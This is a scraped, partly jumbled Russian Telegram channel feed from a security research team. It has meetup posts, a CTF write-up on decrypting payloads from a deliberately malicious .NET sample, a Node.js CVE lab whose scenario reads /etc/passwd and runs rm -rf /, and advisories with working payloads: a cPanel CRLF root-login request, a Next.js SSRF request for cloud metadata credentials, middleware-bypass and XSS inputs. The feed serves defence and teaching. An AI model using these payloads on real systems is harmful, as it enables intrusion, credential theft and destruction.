Подробную программу скоро опубликуем, но уже сейчас можно бронировать слот в календаре.
Зарегистрироваться
Как говорится, save the date — будет насыщенно, полезно и уж точно не скучно ;)
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15🔥10👌3
Митап Solar 4RAYS уже завтра: осталось 10 мест 😬
Какую программу подготовили:
(но и не простое;)) задание из области цифровой криминалистики. Если собираетесь к нам и настроены на загадки, захватите ноутбук — пригодится для решения.
В общем, мы подготовили интересный ивент для ИБшников, как начинающих, так и продолжающих.
Так что сейчас самое время зарегистрироваться на мероприятие: осталось всего 10 мест!
Когда: 21 апреля в 18:00
Где: офис «Солара», Никитский переулок, 7с1
До встречи на митапе❤️
Какую программу подготовили:
А еще эксперты команды DFIR и MA из Solar 4RAYS приготовили DropMeAgent — несложное✅ Лада Антипова из Angara Security расскажет об ошибках, которые могут кардинально изменить подход к реагированию на инциденты.✅ Алексей Хабаров из Solar 4RAYS расскажет об истории ботнета ProxyCB.✅ Антон Каргин из Kaspersky GReAT сделает обзор новых инструментов группировки Silver Fox.✅ Максим Шаманов из Positive Technologies на примере инструментария PhantomCore объяснит, как разбирать вредоносное ПО и работать с обфускацией.
В общем, мы подготовили интересный ивент для ИБшников, как начинающих, так и продолжающих.
Так что сейчас самое время зарегистрироваться на мероприятие: осталось всего 10 мест!
Когда: 21 апреля в 18:00
Где: офис «Солара», Никитский переулок, 7с1
До встречи на митапе
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17❤7🫡6
Решение задания с митапа Solar 4RAYS
Мы предложили участникам решить CTF-задание DropMeAgent с анализом «вредоносного» файла. Несмотря на отдельные комментарии, что задание было слишком простое, за отведенное время его решили всего два участника. У большинства возникли сложности и вопросы на разных этапах выполнения. Делимся решением.
💡 Задание:
✅ Решение:
0️⃣ Любым способом нужно определить, что файл
1️⃣ В результате анализа
— В классе
— Метод
— Расшифровка конфигурации и сборок выполняется с помощью метода
— Метод
2️⃣ Чтобы облегчить решение, создаем свой проект на C# и переносим в него класс
Так получаем три ссылки на сборки
3️⃣ Поочередно расшифровываем все обнаруженные нагрузки
4️⃣ В результате декомпиляции
5️⃣ Запускаем код из
Надеемся, что вы не попались на рик-ролл и не потратили много времени на поиск флага в файле
🤓 — слишком просто
😨 — слишком сложно
🔥 — всё понравилось
Мы предложили участникам решить CTF-задание DropMeAgent с анализом «вредоносного» файла. Несмотря на отдельные комментарии, что задание было слишком простое, за отведенное время его решили всего два участника. У большинства возникли сложности и вопросы на разных этапах выполнения. Делимся решением.
Нужно проанализировать вредоносный файл Agent.exe. Для решения задания потребуется ноутбук и доступ к интернету.
Формат флага: ^flag\{[A-Za-z0-9_]+\}$
PS: файл получился действительно вредоносным! Настоятельно рекомендуем не запускать файл в основной системе — используйте виртуальную машину для решения.
Ссылка на файл: https://dropmefiles.com/cBPuk
Пароль от архива: 123
* ссылка доступна до 24.04.2026
Agent.exe — это приложение .NET 9. Следовательно, потребуется декомпилятор (например, ILSpy). Также в описанном решении потребуется .NET 9 SDK и IDE для C#Agent.exe должны получиться следующие данные:— В классе
Params в переменной Message содержится зашифрованная конфигурация файла.— Метод
RunAssembly загружает с dropmefiles.com зашифрованные сборки .NET и запускает их.— Расшифровка конфигурации и сборок выполняется с помощью метода
Dec.— Метод
GetParams расшифровывает и парсит конфигурациюParams и методы Dec и GetParams. С помощью расшифровки Message получаем конфигурацию:Encoding.UTF8.GetString(Dec(Params.Message))
{
"c": "https://dropmefiles.com/",
"i": 2,
"p":
[
{ "PxyG8": "1" },
{ "ExwwU": "1" },
{ "KRhvk": "3" }
]
}Так получаем три ссылки на сборки
.NET с ресурса dropmefiles.comvar decrypted_dll = Dec(File.ReadAllBytes("payload1"));
File.WriteAllBytes("payload1.dll", decrypted_dll);payload1 получаем код:public class EntryPoint
{
private static string SECRET = "srm3sKOuv+q/srO6v5XSvNCXh56btoeCmIyesMLBwMWJ";
public static void Run()
{
Console.WriteLine(Decrypt(SECRET));
}
private static string Decrypt(string cipherText)
{
byte[] array = Convert.FromBase64String(cipherText);
for (int i = 0; i < array.Length; i++)
{
array[i] ^= (byte)(212 + i);
}
return Encoding.UTF8.GetString(array);
}
}
payload1 и сдаем флаг организаторам.Надеемся, что вы не попались на рик-ролл и не потратили много времени на поиск флага в файле
flag.mp4.
Ну что, насколько сложным был таск?🤓 — слишком просто
😨 — слишком сложно
🔥 — всё понравилось
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23😨9🤓8👾4👍1
Большая атака на маленькую компанию
Злоумышленники за две недели уничтожили всю инфраструктуру небольшой спортивной организации с помощью старой утечки у крупного подрядчика-интегратора ПО.
В процессе атаки обнаружили образец вредоносного ПО на .NET
Framework, который мимикрирует под установленный в 1C.
Подробности в новой статье
Злоумышленники за две недели уничтожили всю инфраструктуру небольшой спортивной организации с помощью старой утечки у крупного подрядчика-интегратора ПО.
В процессе атаки обнаружили образец вредоносного ПО на .NET
Framework, который мимикрирует под установленный в 1C.
Подробности в новой статье
🔥8👀8👍3🤣2❤1
Лабораторный эксперимент — создаем стенд для тестирования уязвимости CVE-2026–21636.
CVE-2026-21636 — это уязвимость в модели разрешений Node.js, которая позволяет обходить сетевые ограничения с помощью соединений Unix Domain Socket (UDS) или подключений к локальному адресу (например, 127.0.0.1).
🫡 Метрики
🫡 Подробнее
Процесс, запущенный с флагом
Например, для разрешения доступа к сети используйте флаги
Здесь и возникает уязвимость, которая позволяет обходить сетевые ограничения при включенном параметре
На данном этапе модель разрешений в Node.js (в части сетевых ограничений) — экспериментальная.
🫡 Сценарий, который реализуется в лабораторной:
1. Атакующий отправляет вредоносные данные в server.mjs.
2. server.mjs (песочница) через уязвимость CVE-2026-21636:
— отправляет сигнал SIGUSR1 процессу target.cjs;
— target.cjs включает отладчик на порту 9229.
3. server.mjs через fetch() (обходя
4. Атакующий через отладчик выполняет ЛЮБОЙ КОД внутри target.cjs.
5. target.cjs (у которого нет ограничений) читает /etc/passwd, запускает rm -rf / и т.д.
🫡 Нюанс:
Отладчик на порту 0.0.0.0:9229 установлен нами намеренно для большего контроля, он запускается автоматически при старте проекта. Чтобы лабораторная была более реальной, в файле supervisord.conf замените
на
При альтернативной настройке
На главной странице лабораторной есть инструкция по эксплуатации, дополнительная информация отображается в логах сервера. Например, при успешном запуске отладчика в логах вы увидите:
запуск через:
CVE-2026-21636 — это уязвимость в модели разрешений Node.js, которая позволяет обходить сетевые ограничения с помощью соединений Unix Domain Socket (UDS) или подключений к локальному адресу (например, 127.0.0.1).
NIST: NVD Base Score: 10.0 CRITICAL
CNA: HackerOne Base Score: 5.8 MEDIUM
CWE: CWE-284
Процесс, запущенный с флагом
--permission, ограничен в доступах и возможностях. Доступ к запуску дочерних процессов и созданию рабочих потоков предоставляется с помощью флагов --allow-child-process и --allow-worker.Например, для разрешения доступа к сети используйте флаги
--permission --allow-net.Здесь и возникает уязвимость, которая позволяет обходить сетевые ограничения при включенном параметре
--permission. Даже без --allow-net, контролируемые злоумышленником входные данные (такие как URL-адреса или параметры socketPath) могут подключаться к произвольным локальным сокетам и адресам через net, tls или undici/fetch.На данном этапе модель разрешений в Node.js (в части сетевых ограничений) — экспериментальная.
1. Атакующий отправляет вредоносные данные в server.mjs.
2. server.mjs (песочница) через уязвимость CVE-2026-21636:
— отправляет сигнал SIGUSR1 процессу target.cjs;
— target.cjs включает отладчик на порту 9229.
3. server.mjs через fetch() (обходя
--allow-net) подключается к отладчику target.cjs.4. Атакующий через отладчик выполняет ЛЮБОЙ КОД внутри target.cjs.
5. target.cjs (у которого нет ограничений) читает /etc/passwd, запускает rm -rf / и т.д.
Отладчик на порту 0.0.0.0:9229 установлен нами намеренно для большего контроля, он запускается автоматически при старте проекта. Чтобы лабораторная была более реальной, в файле supervisord.conf замените
[program:target]
command=node --inspect=0.0.0.0:9229 /app/target.cjs
на
[program:target]
command=node /app/target.cjs
При альтернативной настройке
curl http://localhost:9229/json будет не доступен вне контейнера, а отладчик нужно будет запустить через SIGUSR1.На главной странице лабораторной есть инструкция по эксплуатации, дополнительная информация отображается в логах сервера. Например, при успешном запуске отладчика в логах вы увидите:
Debugger listening on ws://127.0.0.1:9229/7ddfd664-7dd2-4667-bbac-4f7b8ce3f4fd
запуск через:
sudo docker compose up
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥6👍3🐳3
Десятибальная уязвимость в Apache Camel
CVE-2026-33453 — уязвимость в компоненте сamel-сoap в Apache Camel, относится к классу CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes и позволяет неаутентифицированному удаленному атакующему добиться выполнения произвольного кода.
🫡 Уязвимы версии
4.14.0 - 4.14.5
4.18.0
4.19.0
🫡 Метрики
🫡 Подробнее об уязвимости
В Apache Camel поток обработки сообщений имеет следующий вид:
При этом заголовки объекта Exchange используются как управляющие параметры, которые влияют на поведение компонентов. В компоненте camel-coap входящие CoAp URI query-параметры напрямую преобразуются в заголовки Exchange без какой-либо фильтрации:
options.getUriQuery() берет query-параметры из CoAP-запроса, а затем каждый параметр напрямую записывается в camelExchange.getIn().setHeader(...) без проверки через HeaderFilterStrategy, что реализовано в исправлении:
Это позволяет неаутентифицированному атакующему, отправив всего один CoAP-пакет на маршрут coap://, внедрить произвольные внутренние заголовки Camel* в Exchange. При передаче сообщения в компоненты (например, camel-exec, camel-sql, camel-bean, camel-file, camel-freemarker, camel-velocity), поведение которых определяется значениями заголовков, внедренные заголовки интерпретируются как управляющие параметры и могут изменить их работу.
В случае camel-exec заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют команду и её аргументы, что приводит к выполнению произвольного кода от имени процесса Camel.
🫡 Как защититься
1. Обновиться до версий, в которых содержится исправление.
2. Добавить правило IDS, которое будет реагировать на UDP пакет из внешней сети к порту 5683 (либо другой используемый порт) с содержимым CamelExecCommandExecutable и
CamelExecCommandArgs.
Apache Camel — интеграционный фреймворк, реализующий шаблоны корпоративной интеграции (Enterprise Integration Patterns) и обеспечивающий маршрутизацию сообщений между различными системами. В основе архитектуры лежит модель передачи сообщений через объект Exchange, содержащий тело сообщения и набор заголовков (headers), используемых как для передачи данных, так и для управления поведением компонентов.
camel-coap — это компонент фреймворка Apache Camel, который добавляет поддержку протокола CoAP.
CVE-2026-33453 — уязвимость в компоненте сamel-сoap в Apache Camel, относится к классу CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes и позволяет неаутентифицированному удаленному атакующему добиться выполнения произвольного кода.
4.14.0 - 4.14.5
4.18.0
4.19.0
Base Score: 10 CRITICAL
CWE: CWE-915
В Apache Camel поток обработки сообщений имеет следующий вид:
Consumer — Exchange — Processor — Producer
При этом заголовки объекта Exchange используются как управляющие параметры, которые влияют на поведение компонентов. В компоненте camel-coap входящие CoAp URI query-параметры напрямую преобразуются в заголовки Exchange без какой-либо фильтрации:
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}
options.getUriQuery() берет query-параметры из CoAP-запроса, а затем каждый параметр напрямую записывается в camelExchange.getIn().setHeader(...) без проверки через HeaderFilterStrategy, что реализовано в исправлении:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null
|| !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
}
Это позволяет неаутентифицированному атакующему, отправив всего один CoAP-пакет на маршрут coap://, внедрить произвольные внутренние заголовки Camel* в Exchange. При передаче сообщения в компоненты (например, camel-exec, camel-sql, camel-bean, camel-file, camel-freemarker, camel-velocity), поведение которых определяется значениями заголовков, внедренные заголовки интерпретируются как управляющие параметры и могут изменить их работу.
В случае camel-exec заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют команду и её аргументы, что приводит к выполнению произвольного кода от имени процесса Camel.
1. Обновиться до версий, в которых содержится исправление.
2. Добавить правило IDS, которое будет реагировать на UDP пакет из внешней сети к порту 5683 (либо другой используемый порт) с содержимым CamelExecCommandExecutable и
CamelExecCommandArgs.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤4😱2
CRLF в cPanel
CVE-2026–41940 — уязвимость обхода авторизации, которая приводит к выполнению удаленного кода (RCE) в cPanel и WHM версиях после 11.40.
🫡 Метрики
🫡 Кратко об уязвимости
При авторизации пользователя не важно, будет она успешной или нет, сервер создает файл авторизации на диске и ответит заголовком похожим на:
Wg_mjzgt1hyfXefK — первая часть значения cookie указывает на файл авторизации.
Вторая часть 1bd3d4bf5ecbf83b660789ab0f3198fa — это хеш-обфускации для каждой сессии.
🫡 Части цепочки
1️⃣ }$encoder — значение получено на основании хэша обфускации. Если оно будет пустым, например
2️⃣ Значение заголовка Authorization не очищаются должным образом и пропускают CRLF-инъекцию, позволяющую записать новые данные в файл авторизации.
3️⃣ После того как данные попали в файл сессии, нужно перезаписать их в файле кеша, который cPanel использует для авторизации. Для этого используется запрос, который вызовет функцию do_token_denied, например в
эксплойтах это
4️⃣ Установка
🫡 Пример нагрузки после декодирования из Base64
🫡 Пример CRLF-запроса
🫡 Как защищаться
1) Обновиться.
2) Проверить логи сервера на цепочку запросов с минимальным временным
промежутком POST /login/?login_only=1 -> GET / c заголовком
Authorization -> GET /scripts2/listaccts.
3) Проверить недавно созданные сессионные файлы.
4) Правила на WAF/IDS, блокирующие запросы с неполным whostmgrsession
заголовком (отсутствие хеш-обфускации), и Authorization, содержащим
символы \r\n после декодирования из base64.
CVE-2026–41940 — уязвимость обхода авторизации, которая приводит к выполнению удаленного кода (RCE) в cPanel и WHM версиях после 11.40.
Base Score: 9.8 CRITICAL
CWE: CWE-306
При авторизации пользователя не важно, будет она успешной или нет, сервер создает файл авторизации на диске и ответит заголовком похожим на:
powershellSet-Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa;
Wg_mjzgt1hyfXefK — первая часть значения cookie указывает на файл авторизации.
Вторая часть 1bd3d4bf5ecbf83b660789ab0f3198fa — это хеш-обфускации для каждой сессии.
if ($encoder && length $session_ref->{'pass'}) {
local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});Wg_mjzgt1hyfXefK, то условие вернет false и данные не закодируются.эксплойтах это
GET /scripts2/listaccts. successful_internal_auth_with_timestamp значения в заголовке Authorization необходима для пропуска проверки пароля.shellroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
1) Обновиться.
2) Проверить логи сервера на цепочку запросов с минимальным временным
промежутком POST /login/?login_only=1 -> GET / c заголовком
Authorization -> GET /scripts2/listaccts.
3) Проверить недавно созданные сессионные файлы.
4) Правила на WAF/IDS, блокирующие запросы с неполным whostmgrsession
заголовком (отсутствие хеш-обфускации), и Authorization, содержащим
символы \r\n после декодирования из base64.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7🔥7👍5🤔2
Обновите Next.js
Vercel опубликовала масштабное обновление безопасности для Next.js, которое закрывает более десяти уязвимостей. Среди них — отказ в обслуживании (DoS), обход middleware, подделка серверных запросов (SSRF) и межсайтовый скриптинг (XSS). Проблемы присутствуют в версиях с 13.x по 16.x (с App Router) и в пакетах React Server Components 19.x.
Кратко опишем часть уязвимостей, получивших CVE-идентификатор
🫡 CVE-2026-23870 (CWE-674, CVSS -7,5)
App Router вызывает серверные действия через POST-запросы к тому же URL, что и RSC-страница с заголовком Next-Action: <ACTION_ID>. Тело запроса — сериализованный RSC-ответ, передаваемый в decodeReply()/decodeAction() из React. Ранее парсер React при гидратации (Hydration) ссылок (
В результате тело POST-запроса, например:
Может привести к DoS из-за исчерпания ресурсов процессора.
🫡 CVE-2026-44573 (CWE-863, CVSS – 7,5)
В Next.js с Pages Router и включенной интернационализацией (i18n) фреймворк предоставляет JSON-варианты страниц по двум типам адресов:
1️⃣ /_next/data/<buildId>/<locale>/<page>.json — публичная форма с локалью;
2️⃣ /_next/data/<buildId>/<page>.json — внутренняя форма без локали.
Регулярные выражения middleware некорректно обрабатывают URL-адреса данных: они распознают префикс _next/data, но не покрывают все варианты префикса локали.
В результате злоумышленник может запросить _next/data с отсутствующей или неверной локалью (или вообще без локали), и запрос достигнет обработчика страниц без перенаправления и проверки middleware.
Пример:
🫡 CVE-2026-44574 (CWE-693, CVSS-7,5)
Уязвимость позволяет злоумышленнику обойти middleware и получить несанкционированный доступ к динамическим маршрутам (например, /admin/[slug]) путем внедрения специальных внутренних параметров запроса (nxtP*, nxtI*), которым доверяет App Router, но которые игнорирует middleware.
Пример :
🫡 CVE-2026-44578 (CWE-918, CVSS - 8.6)
Автономный сервер Next.js автоматически перенаправлял любые HTTP-запросы с заголовком Upgrade (например, Upgrade: websocket) без проверки, предназначен ли этот маршрут для обработки таких соединений. Это позволяло злоумышленнику через абсолютный URL или поддельный Host-заголовок заставить сервер Next.js установить произвольное TCP-соединение с любым хостом и портом, доступным из внутренней сети сервера.
Пример:
🫡 CVE-2026-44581 (Severity- High, CWE-79)
App Router из Next.js извлекает CSP-nonce из Content-Security-Policy заголовка запроса и дублирует его на встроенные <script nonce="..."> элементы (загрузочная информация Flight, метаданные, вставляемые сервером и т. д.), чтобы браузер разрешил их выполнение.
Пример:
🫡 CVE-2026-44582 (CVSS -5,9, CWE-328)
App Router в Next.js добавляет ?_rsc=<hash> параметр запроса к RSC-запросам, чтобы CDN, использующие URL-адрес в качестве ключа (а не заголовок RSC: 1запроса), не могли объединять различные варианты полезной нагрузки в одну запись кэша.
Хеш-функция представляла собой усеченную 32-битную смесь в стиле MurmurHash (computeLegacyCacheBustingSearchParam), имея всего около 4 миллиардов возможных сегментов и четыре переменных входных параметра.
Другие уязвимости подробнее описаны здесь.
Vercel опубликовала масштабное обновление безопасности для Next.js, которое закрывает более десяти уязвимостей. Среди них — отказ в обслуживании (DoS), обход middleware, подделка серверных запросов (SSRF) и межсайтовый скриптинг (XSS). Проблемы присутствуют в версиях с 13.x по 16.x (с App Router) и в пакетах React Server Components 19.x.
Кратко опишем часть уязвимостей, получивших CVE-идентификатор
App Router вызывает серверные действия через POST-запросы к тому же URL, что и RSC-страница с заголовком Next-Action: <ACTION_ID>. Тело запроса — сериализованный RSC-ответ, передаваемый в decodeReply()/decodeAction() из React. Ранее парсер React при гидратации (Hydration) ссылок (
$<n>, $Sym$Iterator, $F.bind и т.п.) не ограничивал глубину обхода графа и не проверял циклы.В результате тело POST-запроса, например:
0:{"a":"$1"}
1:{"b":"$2"}
2:{"c":"$3"}
...
N:{"end":"$0"}Может привести к DoS из-за исчерпания ресурсов процессора.
В Next.js с Pages Router и включенной интернационализацией (i18n) фреймворк предоставляет JSON-варианты страниц по двум типам адресов:
Регулярные выражения middleware некорректно обрабатывают URL-адреса данных: они распознают префикс _next/data, но не покрывают все варианты префикса локали.
В результате злоумышленник может запросить _next/data с отсутствующей или неверной локалью (или вообще без локали), и запрос достигнет обработчика страниц без перенаправления и проверки middleware.
Пример:
GET /_next/data/<buildId>/secret.json
Уязвимость позволяет злоумышленнику обойти middleware и получить несанкционированный доступ к динамическим маршрутам (например, /admin/[slug]) путем внедрения специальных внутренних параметров запроса (nxtP*, nxtI*), которым доверяет App Router, но которые игнорирует middleware.
Пример :
GET /safe?nxtPslug=admin-only-page&__NEXT_PRIVATE_NO_MIDDLEWARE_RUN=1
Автономный сервер Next.js автоматически перенаправлял любые HTTP-запросы с заголовком Upgrade (например, Upgrade: websocket) без проверки, предназначен ли этот маршрут для обработки таких соединений. Это позволяло злоумышленнику через абсолютный URL или поддельный Host-заголовок заставить сервер Next.js установить произвольное TCP-соединение с любым хостом и портом, доступным из внутренней сети сервера.
Пример:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 127.0.0.1:3000
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
App Router из Next.js извлекает CSP-nonce из Content-Security-Policy заголовка запроса и дублирует его на встроенные <script nonce="..."> элементы (загрузочная информация Flight, метаданные, вставляемые сервером и т. д.), чтобы браузер разрешил их выполнение.
Пример:
Content-Security-Policy: script-src 'nonce-" onerror="alert(1)'
App Router в Next.js добавляет ?_rsc=<hash> параметр запроса к RSC-запросам, чтобы CDN, использующие URL-адрес в качестве ключа (а не заголовок RSC: 1запроса), не могли объединять различные варианты полезной нагрузки в одну запись кэша.
Хеш-функция представляла собой усеченную 32-битную смесь в стиле MurmurHash (computeLegacyCacheBustingSearchParam), имея всего около 4 миллиардов возможных сегментов и четыре переменных входных параметра.
Другие уязвимости подробнее описаны здесь.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7❤6👍5